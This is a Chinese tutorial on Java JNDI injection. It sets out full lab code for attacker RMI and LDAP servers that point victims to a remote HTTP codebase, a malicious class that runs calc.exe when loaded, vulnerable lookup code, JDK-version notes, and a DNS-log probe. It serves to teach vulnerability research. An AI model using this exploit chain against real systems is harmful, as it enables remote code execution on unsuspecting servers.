Java代码审计12之JDNI注入以及rmi和Ldap的利用

news2024/12/27 1:54:46

文章目录

  • 1、Jndi、Ldap、Rmi协议
      • 1.1、什么是ladp协议
      • 1.2、jndi协议
      • 1.3、rmi协议
  • 2、jndi注入
      • 2.1、简介与jdk版本限制
      • 2.2、rmi协议的利用
        • 2.2.1、更换idea的执行jdk版本
        • 2.2.2、生成恶意class文件payload
        • 2.2.3、模拟测试低版本jdk
        • 2.2.4、模拟高版本测试
      • 2.3、rmi攻击的疑问之两个两个步骤
  • 3、ladp协议利用
      • 3.1、测试ldap
      • 3.2、不同jdk版本的测试
  • 4、dns探测

1、Jndi、Ldap、Rmi协议

1.1、什么是ladp协议

LDAP(Lightweight Directory Access Protocol)是一种用于访问和维护分布式目录信息的协议。

官方说法总是比较绕,举个ldap的例子,
假设有一个大型公司,该公司的员工和组织结构分布在多个地区和部门。

为了有效地管理所有员工的信息和公司的组织结构,

该公司决定使用LDAP来创建一个分布式目录服务。


在这个LDAP目录中,每个员工都有一个唯一的标识(通常是DN,即Distinguished Name),

类似于身份证号码。每个员工的信息都以条目(Entry)的形式存储在目录中。例如:

	DN: cn=John Doe, ou=Sales, dc=company, dc=com
	
	(其中,cn代表Common Name,ou代表Organizational Unit,dc代表Domain Component)

	这条条目表示一个名为"John Doe"的员工,
	
	他隶属于"Sales"部门,所在的公司域名为"company.com"。


LDAP允许执行各种查询,例如:

	查询所有在"Sales"部门工作的员工列表。
	
	查询特定员工的联系信息(例如,通过员工的Common Name来查找其电话号码)。
	
	更新员工信息(例如,更改电话号码)。
	
	添加新的员工信息。
稍微引申,类似的效果,如mysql这种数据库似乎也可以,为什么没有使用msyql数据库?

看下chatgpt的回答,

在这里插入图片描述

综上所述,大部分的公司的域控管理(需要定位到部门和具体员工的软件)都会对接使用ldap

1.2、jndi协议

上面我们了解了什么是ladp协议,那么在Java程序中,

就是通过JNDI协议来操作(增删改查)LDAP服务中的数据。


jndi可以理解为java程序提供的一个统一的api接口,

通过jndi我们不仅可以操作ldap服务中的数据,还可以联动操作其他的服务协议,

	比如:JDBC、LDAP、RMI、DNS、NIS、CORBA

在这些协议中,安全从业者用的比较多的就是 LADP、RMI、DNS 

1.3、rmi协议

在了解了jndi与ldap协议之后,还有dns和rmi,

dns就是域名解析,这个大家基本都有一个概念,

这里就稍微展开一些rmi协议,
RMI(Remote Method Invocation)是Java语言中用于实现远程过程调用的机制。

它允许在不同Java虚拟机(JVM)上运行的程序之间通过网络通信来进行方法调用和数据传输,

实现分布式计算和远程服务调用。



个人的理解就是我写好一些方法,放到网络服务上,大家不必关系这些方法具体是如何实现的,

直接通过rmi协议加载调用即可,和一些web的api的功能类似。

需要注意的是,RMI是Java特有的远程调用机制,它只适用于Java之间的通信。

在现代的分布式系统中,

更常见的做法是使用Web服务(如RESTful API和SOAP)或消息队列(如RabbitMQ和Apache Kafka)等跨平台、跨语言的远程调用方式。

另外需要注意的就是,定义远程接口和实现都有一定的格式和要求

举例子说明,

一个简单的接口RemoteCalculator表示远程计算器,

其中定义了两个方法:
	
		add和subtract,用于执行远程加法和减法操作。
  1. 定义远程接口:

import java.rmi.Remote;
import java.rmi.RemoteException;

public interface RemoteCalculator extends Remote {
    int add(int a, int b) throws RemoteException;
    int subtract(int a, int b) throws RemoteException;
}

  1. 实现远程接口:

import java.rmi.RemoteException;
import java.rmi.server.UnicastRemoteObject;

public class CalculatorImpl extends UnicastRemoteObject implements RemoteCalculator {

    public CalculatorImpl() throws RemoteException {
        // 构造函数需要抛出RemoteException
    }

    public int add(int a, int b) throws RemoteException {
        return a + b;
    }

    public int subtract(int a, int b) throws RemoteException {
        return a - b;
    }
}

  1. 服务器端:

import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;

public class RMIServer {
    public static void main(String[] args) {
        try {
            // 创建远程对象
            RemoteCalculator calculator = new CalculatorImpl();

            // 启动RMI Registry,监听默认端口1099
            Registry registry = LocateRegistry.createRegistry(1099);

            // 将远程对象绑定到RMI Registry上,客户端将通过该名称来查找远程对象
            registry.rebind("Calculator", calculator);

            System.out.println("服务器已启动...");
        } catch (Exception e) {
            e.printStackTrace();
        }
    }
}

  1. 客户端:

import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;

public class RMIClient {
    public static void main(String[] args) {
        try {
            // 连接到RMI Registry
            Registry registry = LocateRegistry.getRegistry("localhost", 1099);

            // 在RMI Registry中查找远程对象
            RemoteCalculator calculator = (RemoteCalculator) registry.lookup("Calculator");

            // 调用远程方法
            int resultAdd = calculator.add(10, 5);
            int resultSubtract = calculator.subtract(10, 5);

            System.out.println("10 + 5 = " + resultAdd);
            System.out.println("10 - 5 = " + resultSubtract);
        } catch (Exception e) {
            e.printStackTrace();
        }
    }
}

在这个例子中,我们创建了一个简单的RMI服务器和客户端。
	
服务器端创建了CalculatorImpl对象,并将其绑定到RMI Registry上。

客户端通过RMI Registry查找到Calculator对象,并调用其中的远程方法进行计算。

这样,客户端就可以在远程调用的帮助下执行服务器端的方法,并获得计算结果。

2、jndi注入

2.1、简介与jdk版本限制

JNDI 注⼊,即当开发者在定义 JNDI 接⼝初始化时,lookup() ⽅法的参数可控,

攻击者就可以将恶意的url 传⼊参数远程加载恶意载荷,造成注⼊攻击。

其中使用ladp协议多,rmi协议用的少是因为高版本默认不能直接使用rmi协议

在这里插入图片描述

漏洞代码demo,

代码中定义了 uri 变量,uri 变量可控,并定义了⼀个 rmi 协议服务,
 
rmi://127.0.0.1:1099/Exploit 为攻击者控制的链接,

最后使⽤ lookup() 函数进⾏远程获取 Exploit 类

	(Exploit 类名为攻击者定义,理论任意),并执⾏它

package com.example.demo2;

import javax.naming.InitialContext;
import javax.naming.NamingException;

public class jndi {
    public static void main(String[] args) throws NamingException {
        String uri = "rmi://127.0.0.1:1099/Exploit";            // 指定查找的 uri 变量
        InitialContext initialContext = new InitialContext();   // 得到初始⽬录环境的⼀个引⽤
        initialContext.lookup(uri);                             // 获取指定的远程对象
    }

}

常见的攻击流程

在这里插入图片描述

2.2、rmi协议的利用

先说下rmi协议的利用,需要注意的是

当前的jdk版本是 jdk112,jdk113以后 不存在此漏洞 ⼤多数⽤ldap协议攻击

2.2.1、更换idea的执行jdk版本

所以,我们先加载几个jdk的版本到idea,然后修改项目执行的jdk版本,

需要先将一些常用的jdk版本都收集下,直接解压,加载目录选择bin上一层即可

在这里插入图片描述

接着配置本项目使用哪个jdk运行,我们先配置一个低版本的jdk

在这里插入图片描述

2.2.2、生成恶意class文件payload

根据上边的流程,我们先构建下最终的恶意payload,实现弹出计算器

注意,这个exp,不要放在这种“com.example.demo2”包内,

这样生成的class文件被目标服务器加载会报错,

在这里插入图片描述

右击选择“重新构建”,选择“构建模块”的话,仅仅会在第一次生成class文件,

假设删除这个class文件,在“构建模块”就不会重新生成class文件,“重新构建”就ok

生成的class文件在这个target文件夹内可以找到

在这里插入图片描述

然后将这个生成的class文件放到kali机器上,开启http服务等待受害者机器来请求

代码,


import javax.naming.Context;
import javax.naming.Name;
import javax.naming.spi.ObjectFactory;
import java.io.IOException;
import java.util.Hashtable;
//package com.example.demo2;        增加会出错


public class jndiexp implements ObjectFactory {
    static {
        try {
            Runtime.getRuntime().exec("calc.exe");
        } catch (IOException e) {
            e.printStackTrace();
        }
    }
    @Override
    public Object getObjectInstance(Object obj, Name name, Context nameCtx, Hashtable<?, ?> environment) throws Exception {
        return null;
    }
}

2.2.3、模拟测试低版本jdk

目前版本:1.8.0_65

黑客准备的恶意rmi服务,java文件
	
	RMI_Hack_Server.java

将上面生成的class文件放到了另一个kali机器上,这个Reference函数的第一个参数任意写,

第二个参数就是上面class文件的名称(不用加.class);第三个参数是class文件的http地址

package com.example.demo2;

import com.sun.jndi.rmi.registry.ReferenceWrapper;

import javax.naming.Reference;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;

public class RMI_Hack_Server {
    public static void main(String[] args) throws Exception {
        //System.setProperty("com.sun.jndi.rmi.object.trustURLCodebase","true ");
        //监听RMI服务端⼝
        Registry registry = LocateRegistry.createRegistry(7778);
         创建⼀个远程的JNDI对象⼯⼚类的引⽤对象      第一个参数任意写
        Reference reference = new Reference("jndiexp", "jndiexp", "http://192.168.1.27:8081/");
        // 转换为RMI引⽤对象,
        // 因为Reference没有实现Remote接⼝也没有继承UnicastRemoteObject类,故不能作为远程对象bind到注册中⼼,
        // 所以需要使⽤ReferenceWrapper对Reference的实例进⾏⼀个封装。
        ReferenceWrapper wrapper = new ReferenceWrapper(reference);
        //绑定⼀个恶意的Remote对象到RMI服务
        registry.bind("exp", wrapper);
    }
}

这个是受害者的业务代码,

Rmi_Target_Server.java


package com.example.demo2;
import javax.naming.InitialContext;
import javax.naming.NamingException;


public class Rmi_Target_Server  {
    public static void main(String[] args) throws NamingException, NamingException {
        String uri = "rmi://127.0.0.1:7778/exp";
        //System.setProperty("com.sun.jndi.rmi.object.trustURLCodebase","true");
        //初始化上下⽂
        InitialContext initialContext = new InitialContext();
        // 获取RMI绑定的恶意ReferenceWrapper对象
        initialContext.lookup(uri);
    }
}

先执行RMI_Hack_Server.java,在执行Rmi_Target_Server.java

直接弹出了计算器,但是我们kali并没有接收到请求。

这是因为rmi在利用的过程之中,会先尝试读取本地的class,本地不存在才会去读取远程的,

所以本地做实验,记得把生成的class删除,

在这里插入图片描述

在次运行Rmi_Target_Server.java即可

2.2.4、模拟高版本测试

上面jdk版本是1.8_65,将测试jdk换为1.8_151

此时就需要设置参数了,这行代码是用于设置Java系统属性,具体作用如下:

	在Java中,当使用RMI(远程方法调用)技术进行远程通信时,
	
	可能会涉及到Java对象的序列化和反序列化,其中涉及到URL的使用。
	
	RMI允许在网络上传递Java对象,这些对象可以是在本地计算机上创建的,也可以是远程计算机上创建的。
	
	此参数在低版本的jdk是默认开启的,但高一些的就默认是false,所以需要手动开启
	
假设不设置会报错,

在这里插入图片描述

设置此代码之后,一样可以弹出计算器,
上面jdk版本是1.8_151,将测试jdk换为1.8_202,再次进行测试

发现即使设置了com.sun.jndi.rmi.object.trustURLCodebase属性为true

也没有发出http请求,更不要说弹计算器了

假设不设置com.sun.jndi.rmi.object.trustURLCodebase属性为true,也是直接报错

所以在高版本的jdk,ldap会使用的比较多

2.3、rmi攻击的疑问之两个两个步骤

笔者在学习这个漏洞的时候就在思考一个问题,还是先看完整的攻击流程,

在这里插入图片描述

当时的疑问是,

	为什么需要两步骤,即先请求rmi服务器拿到“恶意代码1”

	然后根据返回的“恶意代码1”去请求http服务拿到“恶意代码2”
	
	在执行“恶意代码2”的内容,完成攻击

直接第一步就返回恶意代码,返回让目标服务器执行不就好了

这个和rmi服务的本质运转模式有关系,先简单回顾rmi服务的作用

rmi服务就是让a服务器上的jvm虚拟器运行远程网上上b服务器上的java函数

在这这个过程之中,rmi服务器的作用是类似 DNS 服务器的角色。


RMI 注册表类似于一个名字服务,它允许客户端通过指定的名称查找远程资源,

类似于 DNS 允许客户端通过域名查找服务器的 IP 地址。


在整个攻击过程中,RMI 服务器实际上只充当了“资源指向”的作用,就像一个名字服务一样,

将客户端的查询请求映射到相应的远程对象。攻击者利用 RMI 注入漏洞来控制客户端查询的结果,

使其获取恶意的远程资源,然后执行恶意代码。

简单的小结下,

rmi客户端(目标服务器)需要请求一个rmi服务器(hacker搭建的),

只能拿到一个要执行函数名称yy和这个函数的地址xx

然后rmi客户端在请求http://xx/yy拿到最终的恶意代码,然后执行


rmi服务器就不能返回“最终的恶意代码”,这个和整个rmi服务架构设计的流程有关

rmi服务器的作用就是返回“要执行的函数名称”和这个函数在哪里


而对于 LDAP 协议,攻击者同样可以在恶意服务器上创建恶意的 LDAP 资源,

例如恶意的 LDAP 对象或恶意的 LDAP URL。当客户端执行 JNDI 查询时,

会连接到恶意的 LDAP 服务器,并获取恶意资源。


在这两种协议中,恶意的服务器充当了 "资源指向" 的角色,

将客户端的查询请求指向恶意资源。客户端不知情地获取到了恶意的资源,

并在后续操作中可能触发恶意代码的执行。


以上都是笔者的理解,有问题,欢迎各位来指导沟通

3、ladp协议利用

3.1、测试ldap

先配置环境pom.xml,

        <dependency>
            <groupId>com.unboundid</groupId>
            <artifactId>unboundid-ldapsdk</artifactId>
            <version>6.0.8</version>
        </dependency>
然后测试和上面一致,下边是代码。

注意,修改pom文件之后,重新构造项目本地还会在生成jndiexp.class文件

而本地有这个文件,服务器就不会去远程读取,记得删除这个生成的文件

ldap_Hack_server.java

package com.example.demo2;

import com.unboundid.ldap.listener.InMemoryDirectoryServer;
import com.unboundid.ldap.listener.InMemoryDirectoryServerConfig;
import com.unboundid.ldap.listener.InMemoryListenerConfig;
import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult;
import com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor;
import com.unboundid.ldap.sdk.Entry;
import com.unboundid.ldap.sdk.LDAPException;
import com.unboundid.ldap.sdk.LDAPResult;
import com.unboundid.ldap.sdk.ResultCode;
import javax.net.ServerSocketFactory;
import javax.net.SocketFactory;
import javax.net.ssl.SSLSocketFactory;
import java.net.InetAddress;
import java.net.MalformedURLException;
import java.net.URL;
public class ldap_Hack_server {
    private static final String LDAP_BASE = "dc=example,dc=com";
    public static void main ( String[] tmp_args ) {
        String[] args=new String[]{"http://192.168.1.27:8081/#jndiexp"};
        int port = 7777;
        try {
            InMemoryDirectoryServerConfig config = new InMemoryDirectoryServerConfig(LDAP_BASE);
            config.setListenerConfigs(new InMemoryListenerConfig(
                    "listen", //$NON-NLS-1$
                    InetAddress.getByName("0.0.0.0"), //$NON-NLS-1$
                    port,
                    ServerSocketFactory.getDefault(),
                    SocketFactory.getDefault(),
                    (SSLSocketFactory) SSLSocketFactory.getDefault()));
            config.addInMemoryOperationInterceptor(new OperationInterceptor(new URL(args[ 0 ])));
            InMemoryDirectoryServer ds = new InMemoryDirectoryServer(config);
            System.out.println("Listening on 0.0.0.0:" + port); //$NON-NLS-1$
            ds.startListening();

        }
        catch ( Exception e ) {
            e.printStackTrace();
        }
    }
    private static class OperationInterceptor extends InMemoryOperationInterceptor {
        private URL codebase;
        public OperationInterceptor ( URL cb ) {
            this.codebase = cb;
        }
        @Override
        public void processSearchResult ( InMemoryInterceptedSearchResult
                                                  result ) {
            String base = result.getRequest().getBaseDN();
            Entry e = new Entry(base);
            try {
                sendResult(result, base, e);
            }
            catch ( Exception e1 ) {
                e1.printStackTrace();
            }
        }
        protected void sendResult ( InMemoryInterceptedSearchResult result, String base, Entry e ) throws LDAPException, MalformedURLException, MalformedURLException {
            URL turl = new URL(this.codebase, this.codebase.getRef().replace('.', '/').concat(".class"));
            System.out.println("Send LDAP reference result for " + base + " redirecting to " + turl);
            e.addAttribute("javaClassName", "foo");
            String cbstring = this.codebase.toString();
            int refPos = cbstring.indexOf('#');
            if ( refPos > 0 ) {
                cbstring = cbstring.substring(0, refPos);
            }
            e.addAttribute("javaCodeBase", cbstring);
            e.addAttribute("objectClass", "javaNamingReference"); //$NON-NLS-1$
            e.addAttribute("javaFactory", this.codebase.getRef());
            result.sendSearchEntry(e);
            result.setResult(new LDAPResult(0, ResultCode.SUCCESS));
        }
    }
}

ldap_target_Server.java


package com.example.demo2;

import javax.naming.InitialContext;
import javax.naming.NamingException;
public class ldap_target_Server {
    public static void main(String[] args) throws NamingException {
        InitialContext initialContext = new InitialContext();
        initialContext.lookup("ldap://127.0.0.1:7777/Exp");
    }
}

3.2、不同jdk版本的测试

使用1.8_65和1.8_151都可以直接触发,

也不用设置“com.sun.jndi.rmi.object.trustURLCodebase”属性


但是1.8_202还是j了,

即使设置“com.sun.jndi.rmi.object.trustURLCodebase”属性,也没有发出请求

4、dns探测

不受jdk版本限制,不能直接利用,可以用于探测漏洞是否存在,

虽然报错了,但是还是去访问了,

在这里插入图片描述
代码,


package com.example.demo2;

import javax.naming.InitialContext;
import javax.naming.NamingException;
public class ldap_target_Server {
    public static void main(String[] args) throws NamingException {
        InitialContext initialContext = new InitialContext();
        //initialContext.lookup("ldap://127.0.0.1:7777/Exp");
        initialContext.lookup("dns://dns.y6u1ft.dnslog.cn");
    }
}

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/919427.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

关于ios Universal Links apple-app-site-association文件 Not Found的问题

1. 背景说明 1.1 Universal Links 是什么 Support Universal Links 里面有说到 Universal Links 是什么、注意点、以及如何配置的。简单来说就是 当您支持通用链接时&#xff0c;iOS 用户可以点击指向您网站的链接&#xff0c;并无缝重定向到您安装的应用程序 大白话就是说&am…

3D旅游情景实训教学展示

随着科技的不断发展&#xff0c;情景实训教学在教育领域中的应用越来越广泛。通过虚拟现实技术&#xff0c;3D视觉技术&#xff0c;计算机技术等为学生提供了一个身临其境的学习环境&#xff0c;让他们能够在模拟的场景中学习和实践&#xff0c;从而更好地理解和掌握知识。 3D虚…

机器学习基础之《分类算法(4)—案例:预测facebook签到位置》

一、背景 1、说明 2、数据集 row_id&#xff1a;签到行为的编码 x y&#xff1a;坐标系&#xff0c;人所在的位置 accuracy&#xff1a;定位的准确率 time&#xff1a;时间戳 place_id&#xff1a;预测用户将要签到的位置 3、数据集下载 https://www.kaggle.com/navoshta/gr…

微信小程序创建项目以及注意事项

1.申请账号并完善信息 2.下载安装开发工具 3.开发小程序 4.上传代码 5.提交审核 6.发布 创建项目 根据需求选择模板&#xff0c;也可以不选择模板 创建完毕之后 进入页面点击终端 然后新建终端 输入npm init 一直按回车即可 安装成功 出现package.json 如何使用组件&#x…

Spring Cache的介绍以及怎么使用(redis)

Spring Cache 文章目录 Spring Cache1、Spring Cache介绍2、Spring Cache常用注解2.1、EnableCaching注解2.2、CachePut注解2.3、CacheEvict注解2.4、Cacheable注解 3、Spring Cache使用方式--redis 1、Spring Cache介绍 Spring Cache是一个框架&#xff0c;实现了基于注解的缓…

【LeetCode】模拟实现FILE以及认识缓冲区

模拟实现FILE以及认识缓冲区 刷新缓冲逻辑图自定义实现如何强制刷新内核缓冲区例子 刷新缓冲逻辑图 自定义实现 mystdio.h #pragma once #include <stdio.h>#define NUM 1024 #define BUFF_NOME 0x1 #define BUFF_LINE 0x2 #define BUFF_ALL 0x4typedef struct _MY_FIL…

对《VB.NET通过VB6 ActiveX DLL调用PowerBasic及FreeBasic动态库》的改进

《VB.NET通过VB6 ActiveX DLL调用PowerBasic及FreeBasic动态库》使用的Activex DLL公共对象是需要先注册的。https://blog.csdn.net/weixin_45707491/article/details/132437502?spm1001.2014.3001.5501 Activex DLL事前注册&#xff0c;一次多用说起来也不是啥大问题&#x…

C语言小白急救 指针进阶讲解1

文章目录 指针一、 字符指针二、 指针数组三、数组指针1.数组的地址2.数组指针3.数组指针的应用 四、数组参数、指针参数1. 一维数组传参2.二维数组传参3.一级指针传参4.二级指针传参 五、函数指针1.函数的地址2.函数指针3.练习 指针 指针的概念&#xff1a; 1.指针就是个变量…

数据库(DQL,多表设计,事务,索引)

目录 查询数据库表中数据 where 条件列表 group by 分组查询 having 分组后条件列表 order by 排序字段列表 limit 分页参数 多表设计 一对多 多对多 一对一 多表查询 事物 索引 查询数据库表中数据 关键字&#xff1a;SELECT 中间有空格&#xff0c;加引…

H.265视频无插件流媒体播放器EasyPlayer.js播放webrtc断流重连的异常修复

H5无插件流媒体播放器EasyPlayer属于一款高效、精炼、稳定且免费的流媒体播放器&#xff0c;可支持多种流媒体协议播放&#xff0c;可支持H.264与H.265编码格式&#xff0c;性能稳定、播放流畅&#xff0c;能支持WebSocket-FLV、HTTP-FLV&#xff0c;HLS&#xff08;m3u8&#…

FxFactory 8 Pro Mac 苹果电脑版 fcpx/ae/motion视觉特效软件包

FxFactory pro for mac是应用在Mac上的fcpx/ae/pr视觉特效插件包&#xff0c;包含了成百上千的视觉效果&#xff0c;打包了很多插件&#xff0c;如调色插件&#xff0c;转场插件&#xff0c;视觉插件&#xff0c;特效插件&#xff0c;文字插件&#xff0c;音频插件&#xff0c;…

百望云华为云共建零售数字化新生态 聚焦数智新消费升级

零售业是一个充满活力和创新的行业&#xff0c;但也是当前面临很大新挑战和新机遇的行业。数智新消费时代&#xff0c;数字化转型已经成为零售企业必须面对的重要课题。 8 月 20 日-21日&#xff0c;以“云上创新 韧性增长”为主题的华为云数智新消费创新峰会2023在成都隆重召…

stm32之10.系统定时器

delay_s()延时秒 delay_ms()毫秒*1000 delay_us()微秒*1000000 微秒定时器代码 void delay_us(uint32_t n) { SysTick->CTRL 0; // Disable SysTick&#xff0c;关闭系统定时器 SysTick->LOAD SystemCoreClock/1000000*n-1; // 就是nus SysTick->LOAD Sys…

有趣的数学 数学建模入门二 一些理论基础

一、什么是数学建模? 现实世界中混乱的问题可以用数学来解决&#xff0c;从而产生一系列可能的解决方案来帮助指导决策。大多数人对数学建模的概念感到不舒服&#xff0c;因为它是如此开放。如此多的未知信息似乎令人望而却步。哪些因素最相关&#xff1f;但正是现实世界问题的…

C语言基础之——操作符(上)

本篇文章&#xff0c;我们将展开讲解C语言中的各种常用操作符&#xff0c;帮助大家更容易的解决一些运算类问题。 这里提醒一下小伙伴们&#xff0c;本章知识会大量涉及到二进制序列&#xff0c;不清楚二进制序列的小伙伴&#xff0c;可以去阅读我的另一篇文章《数据在内存中的…

Go【gin和gorm框架】实现紧急事件登记的接口

简单来说&#xff0c;就是接受前端微信小程序发来的数据保存到数据库&#xff0c;这是我写的第二个接口&#xff0c;相比前一个要稍微简单一些&#xff0c;而且因为前端页面也是我写的&#xff0c;参数类型自然是无缝对接_ 前端页面大概长这个样子 先用apifox模拟发送请求测试…

数据结构 day1

1>x.mind 2>间接定义结构体数组&#xff0c;进行4种方式的定义和初始化 3>定义结构体存储10辆车&#xff08;车的信息&#xff1a;品牌、单价、颜色&#xff09; 1.定义函数&#xff0c;实现循环输入 2.定义函数&#xff0c;实现排序 3.定义函数&#xff0c;计算红色车…

Windows10突然出现音频无法正常运行的解决方法

文章目录 前言 一 问题描述 二 解决方法 2.1 下载完成之后选择安装 2.2 选择其他位置来安装 2.3 静静等待安装完成 三 升级Windows显卡和声卡 总结 前言 本文主要介绍Windows里面的音频出现问题的解决方法 一 问题描述 Windows使用好好的&#xff0c;突然就出现声卡出…

安防监控视频平台EasyCVR视频汇聚平台和税务可视化综合管理应用方案

一、方案概述 为了确保税务执法的规范性和高效性&#xff0c;国家税务总局要求全面推行税务系统的行政执法公示制度、执法全过程记录制度和重大执法决定法制审核制度。为此&#xff0c;需要全面推行执法全过程记录制度&#xff0c;并推进信息化建设&#xff0c;实现执法全过程的…

Vue+Axios搭建二次元动态登录页面(mp4视频格式)

最近想做一个前端登录页面&#xff0c;背景好看的&#xff0c;格式中规中矩的&#xff0c;这么难&#xff1f;我自己创一个吧&#xff01; 效果图如下&#xff1a; 源码可以参考我的github&#xff0c;复制源码即可用&#xff1a;gym02/loginPage_Vue: 使用VueAxios搭建的动态…